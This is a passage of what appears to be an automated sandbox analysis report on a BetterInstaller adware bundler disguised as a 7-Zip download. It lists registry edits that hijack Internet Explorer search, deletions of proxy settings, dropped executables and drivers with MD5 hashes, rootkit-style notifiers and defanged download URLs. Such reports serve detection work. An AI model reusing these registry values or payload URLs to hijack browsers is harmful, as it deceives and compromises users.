"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"TopResultURL" = "http://www.bing.com/search?q={searchTerms}&src=IE-TopResult&FORM=IETR02"
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 53 00 00 00 09 00 00 00 00 00 00 00"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0]
"(Default)" = "SupTabLib"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURL" = "http://www.bing.com/favicon.ico"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}]
"(Default)" = "IETabPage Class"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\Version]
"(Default)" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"
"DisplayName" = "Bing"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconURL" = "http://www.google.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}"

[HKLM\SOFTWARE\Wow6432Node\SupDp]
"dir" = "%Program Files% (x86)\XTab"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconURL" = "http://do-search.com//favicon.ico"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"TopResultURL" = "http://www.google.com/search?q={searchTerms}&sourceid=ie7&rls=com.microsoft:{language}:{referrer:source}&ie={inputEncoding?}&oe={outputEncoding?}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"TopResultURL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423886436&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURLFallback" = "http://www.bing.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"DisplayName" = "Google"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"DisplayName" = "e"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{E733165D-CBCF-4FDA-883E-ADEF965B476C}.ico"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process taskeng.exe:3608 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{8EAD0745-9AC6-47CB-BC92-96008CA09397}]
"data" = "4D 45 4F 57 01 00 00 00 E4 B7 BD 92 8B F2 A0 46"

Dropped PE files

MD5 File path
8f3ddc4533fc7a8e7a64d4208bf4a58f c:\Program Files (x86)\ShopperPro\JSDriver\1502.0.0.0\jsdrv.exe
65cf2df367cb583ddb9da8ac85cba7e8 c:\Program Files (x86)\ShopperPro\JSDriver\1502.0.0.0\jsdrv.sys
8f3ddc4533fc7a8e7a64d4208bf4a58f c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.exe
65cf2df367cb583ddb9da8ac85cba7e8 c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.sys
e189410ee1b36e9c1d33ed718ec8ff54 c:\Program Files (x86)\ShopperPro\SPRemove.exe
15ad588f28703ccd3e4454c8ca735c9d c:\Program Files (x86)\ShopperPro\ShopperPro.dll
336267fec55c7d8a64e7b0b88fbad07d c:\Program Files (x86)\ShopperPro\ShopperPro.exe
b32f45f781c84dc4f9ff4b91720303c8 c:\Program Files (x86)\ShopperPro\ShopperPro64.dll
d7baa8dfe1ecef6d6e49df29ae788251 c:\Program Files (x86)\ShopperPro\Updater.exe
a7998c55467d4884cb509e5c4cfdcfa2 c:\Program Files (x86)\XTab\BrowerWatchCH.dll
fbde6af89f9b351243c3f736a48a0543 c:\Program Files (x86)\XTab\BrowerWatchFF.dll
5785680870eff9ba7b4f58c726552013 c:\Program Files (x86)\XTab\BrowserAction.dll
77590ce0cdeb6bbee8dc056fea0b107c c:\Program Files (x86)\XTab\CmdShell.exe
c04d8bc933470b3913e4e3e6c3115793 c:\Program Files (x86)\XTab\HPNotify.exe
a330b7929278b18a33e29bd4bb69abc3 c:\Program Files (x86)\XTab\IeWatchDog.dll
b32a88b91e59bfb553a9bebf78a1e567 c:\Program Files (x86)\XTab\ProtectService.exe
fece5b81614bd16ff043051f338183a0 c:\Program Files (x86)\XTab\SupTab.dll
3e29914113ec4b968ba5eb1f6d194a0a c:\Program Files (x86)\XTab\msvcp110.dll
4ba25d2cbe1587a841dcfb8c8c4a6ea6 c:\Program Files (x86)\XTab\msvcr110.dll
852f4db9b269f52c54f37568d703825e c:\Program Files (x86)\XTab\uninstall.exe
7b538383623b61c01dc8c9db2f27192a c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.exe
fcd7181045d7f45863163685f63cbc26 c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.sys
3db5e55f5b7cad6dfa73987703be553d c:\Program Files (x86)\YTAHelper\SPRemove.exe
0f280884fb3ea901810e3687d520e66b c:\Program Files (x86)\YTAHelper\YTAHelper.dll
4c2cbf16ac43df603dd18ef5adb7e7c0 c:\Program Files (x86)\YTAHelper\YTAHelper.exe
ea7bfd3722f6bdb16942dfdcebe2a7bd c:\Program Files (x86)\YTAHelper\YTAHelper64.dll
f593c94827e130cdb5c3215e0753c781 c:\Program Files (x86)\YouTube Accelerator\Res.dll
973567b98cdfc147df4e60471d9df072 c:\Program Files (x86)\YouTube Accelerator\UNWISE.EXE
96257545e464d8e48a767dca7158ab18 c:\Program Files (x86)\YouTube Accelerator\Updater.exe
496dd2c9f288bafc7e3c3e8b9e30c5cb c:\Program Files (x86)\YouTube Accelerator\YTAHUninstall.exe
214055e3a33c271e88d48a02f9b0f77f c:\Program Files (x86)\YouTube Accelerator\YTAUninstall.exe
592989a426ae8bd543816906b4e404b6 c:\Program Files (x86)\YouTube Accelerator\YouTubeAccelerator.exe
6354ff478451dc33755ffaea5163eabb c:\Program Files (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe
3f4049d8bf040812a96680c5a6b377fd c:\Program Files (x86)\YouTube Accelerator\cabex.dll
30a7767ce7edd677b85dbf308476be5e c:\Program Files (x86)\YouTube Accelerator\engine.dll
3f60c99839e22b593223eb083e1ae454 c:\Program Files (x86)\YouTube Accelerator\helper.dll
e3ca787c4ef41e3d3c212899dd361daf c:\Program Files (x86)\YouTube Accelerator\ipc.dll
cba2facb405fc377eced6abe5e8fe605 c:\Program Files (x86)\YouTube Accelerator\lspinst.exe
1b3f12f9710b8079619d87728f711cfb c:\Program Files (x86)\YouTube Accelerator\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76 c:\Program Files (x86)\YouTube Accelerator\sporder.dll
bfe64f99674b43adc1806cd3183f4fbd c:\Program Files (x86)\YouTube Accelerator\testlsp.exe
7a9c58d8e215fcd47d371fe81d7aa1f6 c:\Program Files (x86)\YouTube Accelerator\unelevate.exe
e09fa1c699e985e4cf8cfc6457dba9f1 c:\Program Files (x86)\YouTube Accelerator\xmldb.dll
6289966fd5c7d68cc37d526f6a40cdfa c:\Program Files (x86)\YouTube Accelerator\ytalsp.dll
8a3012e1550f812075acd335bfaa474f c:\Program Files\Common Files\ShopperPro\spbia.exe
8cb144da70cea08dd7a702b59e873b8f c:\Program Files\Common Files\ShopperPro\spbici32.dll
23c7fdf6c36dfacc798d542395712910 c:\Program Files\Common Files\ShopperPro\spbici64.dll
bbbe04efd9df401c2aba94058815f41e c:\Program Files\Common Files\ShopperPro\spbii32.exe
7882269540a2798d6c24ef581b268832 c:\Program Files\Common Files\ShopperPro\spbii64.exe
9d840ee427f049dcbe00c9af561cb187 c:\Program Files\Common Files\ShopperPro\spbiu.exe
0fa052be1d7b8075f5086e31ff909ecd c:\Program Files\Common Files\ShopperPro\spbiw.sys
15ad588f28703ccd3e4454c8ca735c9d c:\ProgramData\ShopperPro\ShopperPro.dll
b32f45f781c84dc4f9ff4b91720303c8 c:\ProgramData\ShopperPro\ShopperPro64.dll
3525b3c9cafced38e0ab2334da7fb449 c:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe
15ad588f28703ccd3e4454c8ca735c9d c:\Users\All Users\ShopperPro\ShopperPro.dll
b32f45f781c84dc4f9ff4b91720303c8 c:\Users\All Users\ShopperPro\ShopperPro64.dll
3525b3c9cafced38e0ab2334da7fb449 c:\Users\All Users\WindowsMangerProtect\ProtectWindowsManager.exe
f9092a47c8e3b49ae282a8b4e97d5599 c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_23388\ins_postInst.exe
f9092a47c8e3b49ae282a8b4e97d5599 c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_23388\ins_postInst.exe
b3fdf6e7b0aecd48ca7e4921773fb606 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe
62c1db9e572c026bcb7c104e003a7eb6 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\8D9E.tmp
62c1db9e572c026bcb7c104e003a7eb6 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\C0A0.tmp
62c1db9e572c026bcb7c104e003a7eb6 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\E9F1.tmp
d65611fbc4da8cea4e886076bec82d1e c:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe
70ec75083152a7c564ce84d0723adb12 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_30485\ins_shopperpro.exe
f9092a47c8e3b49ae282a8b4e97d5599 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_4568\ins_postInst.exe
e1f48aa094bffe3887d0ffec22eaae1f c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_4568\ins_yta.exe
45960b40c1ecb75ed5549a80049879e1 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx
f593c94827e130cdb5c3215e0753c781 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll
496dd2c9f288bafc7e3c3e8b9e30c5cb c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe
74fb4a7f6e8fb16497b109264ebd87b5 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelper.exe
592989a426ae8bd543816906b4e404b6 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe
6354ff478451dc33755ffaea5163eabb c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe
30a7767ce7edd677b85dbf308476be5e c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll
3f60c99839e22b593223eb083e1ae454 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll
e3ca787c4ef41e3d3c212899dd361daf c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll
cba2facb405fc377eced6abe5e8fe605 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe
1b3f12f9710b8079619d87728f711cfb c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll
bfe64f99674b43adc1806cd3183f4fbd c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe
7a9c58d8e215fcd47d371fe81d7aa1f6 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe
96257545e464d8e48a767dca7158ab18 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe
e09fa1c699e985e4cf8cfc6457dba9f1 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll
6289966fd5c7d68cc37d526f6a40cdfa c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll
214055e3a33c271e88d48a02f9b0f77f c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe
ef7d1863f4980ab0c8bda142fee67f92 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe
671d8397034747ae899554ec008f321b c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\tmp\RegWrite.exe
0a1d8c442bf10ba569bc89cf7dfc3855 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\tmp\STab_Down_6.0.6.8.exe
55bae15d523e4fabaa551023703d3fd9 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\tmp\XTab_v4.0.exe
3525b3c9cafced38e0ab2334da7fb449 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\tmp\wpm_v20.0.0.1714_0204.exe
518879abe3170dabd172dfffcd165598 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe
ac8f7611f353ca9803fad5ff81900678 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe
3f4049d8bf040812a96680c5a6b377fd c:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll
3a9ce8edf728d00a44376a75fe7b2aca c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspDC6B.tmp\AccDownload.dll
f0438a894f3a7e01a4aae8d1b5dd0289 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspDC6B.tmp\nsProcess.dll
8683e0490479293e0dd1faf2cf2e88d7 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuD3B4.tmp\AccDownload.dll
faa7f034b38e729a983965c04cc70fc1 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuD3B4.tmp\nsProcess.dll
31f8d1cffb02dff93646f81d8ce3dd75 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe
7a9c58d8e215fcd47d371fe81d7aa1f6 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\unelevate.exe
07d929f338001d6b29743100aed91741 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe
a5bfd6a87161d5dfa81cb5c2c6d29488 c:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe
45960b40c1ecb75ed5549a80049879e1 c:\Windows\SysWOW64\AniGIF.ocx
45960b40c1ecb75ed5549a80049879e1 c:\Windows\System32\AniGIF.ocx

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "\??\%Program Files%\Common Files\ShopperPro\spbiw.sys" the Application controls creation and closing of threads by installing the thread notifier.
Using the driver "\??\%Program Files%\Common Files\ShopperPro\spbiw.sys" the Application controls loading executable images into a memory by installing the Load image notifier.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.0.0.0
File Description: Powered by BetterInstaller
Comments:
Language: Language Neutral

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 28860 29184 4.36907 33e8227bf6edbf3997e3d0895494668e
.data 36864 140 512 0.818223 1b0351714f371c0ba066871d4e504b00
.rdata 40960 3196 3584 3.54441 88a268b1fac88e9fad865c68cf3abce2
.bss 45056 110088 0 0 d41d8cd98f00b204e9800998ecf8427e
.idata 155648 4932 5120 3.53424 11c816edc4ef9cc4aa5511f8a707232b
.ndata 163840 36864 1024 0 0f343b0931126a20f133d67c2b018a3b
.rsrc 200704 17800 17920 3.9497 3b952b6cf19449d255a36efe2cd57cc1

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 3601
7f6d030a23f210ff0f767468fe3edd48
9fd81c119909308d540861e600a43bd3
2140c12424d296d2f086d01968cff5a1
b7f04de791f0f1174b6595f07c104868
a5e4339887081cfaf1653a7657acf073
549d4106a715807f31179fa4dd02a727
1270bc16fedc637d8ad078ee15e15107
b7c7e4c55a03baca5788d4cdf2869fc0
1dc72a410d67eb4d6166990e3e960606
0000d4dfa1f1d61271d6789616ff0882
f17e4556271f0a3cba61103303f4821b
ec448b672988eecfbe5db9b39dd113ea
554c710ad2da44edabf8a39e29b525fd
6c686b56afc8acb9c4f55d9126145dcb
2e25aa9a90cf814cceb990b3777b8df6
87a3d1f1f4decd60bc4fed779f16ab7e
be82581da15d62c0241c0aba0079ebc9
33e4c9846b62ef1d7988e58896f26870
9f26e9f983a553db2d8ab1b629db4773
326abe8febf6d9c7b7a5236ae631dba4
9adcc08a42b5e8e14df2537055050e19
9125d1263fff27680ef3414448f248c3
10bb4834f8a2ac896bbf1dd09a88ada3
c7cef48f0e67921593fa03525173efb3
b4f59838f98599cf2f424c9e0fd95bc6

URLs

URL IP
hxxp://installer.betterinstaller.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
hxxp://d4ekdi381yoqv.cloudfront.net/images/Tokyo/tokyo_sprite_full.png 54.230.202.95
hxxp://d2q90bop9bptps.cloudfront.net/images/Tokyo/tokyoLightGrayStripesBG.jpg 54.230.200.83
hxxp://installer.betterinstaller.com/installer/ajax
hxxp://d4ekdi381yoqv.cloudfront.net/sponsored/speedbit/eula-youtubeaccelerator.html 54.230.202.95
hxxp://d2q90bop9bptps.cloudfront.net/sponsored/mystartsearch/eula-mystartsearch.html 54.230.200.83
hxxp://d4ekdi381yoqv.cloudfront.net/sponsored/sourceapp/eula-sourceapp.html 54.230.202.95
hxxp://www-google-analytics.l.google.com/ga.js
hxxp://d2q90bop9bptps.cloudfront.net/affiliates/filesfrog/eula.html 54.230.200.83
hxxp://www-google-analytics.l.google.com/r/__utm.gif?utmwv=5.6.3&utms=1&utmn=1330437739&utmhn=bi.bisrv.com&utmhid=934154437&utmr=-&utmp=Installer_Init&utmht=1423886223463&utmac=UA-31676879-1&utmcc=__utma=1.833397082.1423886223.1423886223.1423886223.1;+__utmz=1.1423886223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=15135696&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://d4ekdi381yoqv.cloudfront.net/mag/ytaiesmt_smtyc_setup.exe 54.230.202.95
hxxp://mirror.frogdownload.com/software_files/7_zip/7zip_32.png
hxxp://a1049.d.akamai.net/sd?is=sm
hxxp://dwl4rwv9nkwfy.cloudfront.net/mirror/mystartsearch/default/setup.exe 54.239.168.111
hxxp://dwl4rwv9nkwfy.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe 54.239.168.111
hxxp://mirror.frogdownload.com/software_files/7_zip/9_20/7z920.exe
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.8235984293952341
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=1&index_in_screen=1&index_in_session=1&0.9101025986293587
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.5111454311401191
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=2&index_in_screen=1&index_in_session=2&0.8695299825474372
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.8350997762370773
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=3&index_in_screen=1&index_in_session=3&0.020092481255080396
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.7395209612543288
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=4&index_in_screen=1&index_in_session=4&0.3634406132951685
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=A3ANzFv7fWAfyhErKivT9R0A8JFzEu3PUDc7yLpb7yGMDmRWpWBZ0CAvELRpepitAn5VjwTD4wapVuBneuOiaiazLFSkfv6pWLazpewXw1jSN3ZRr1JhaATxIUcsgQ wP4sPieL6LVh0ElnmuIhy xrlcXqCG0Rt2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk= 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/21074.ashx?e=aUlNCxxkjnQfAxEXghvnLEo/brKkfV8Y1VMaOJFqXYpxTYwWxYG9WArrnjIMl4VboUDW29 K3KaPWIh/dm2RyHf1ws7XaD2yIg0p1vUMLr4E8SFHLIEPsGJTlYCQaOf7GuVxeoIbRG3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q== 54.230.200.83
hxxp://d2q90bop9bptps.cloudfront.net/t.ashx?e=/k6kR j50tqrESd40BFHqYxXl6h7wlTh/9kBvUGgBK38ln8Iap23//2TEkHeJNDU9z6MsirOygBgF1NDvTU5XmUl0xzv/1Q1GxrTqW15vZAdYLC6Fwg82dCUHeR8YCF3BQ8MIYMfS0viLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd 54.230.200.83
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.3&utms=2&utmn=134117307&utmhn=bi.bisrv.com&utmhid=934154437&utmr=-&utmp=Offer_Accepted&utmht=1423886278133&utmac=UA-31676879-1&utmcc=__utma=1.833397082.1423886223.1423886223.1423886223.1;+__utmz=1.1423886223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~
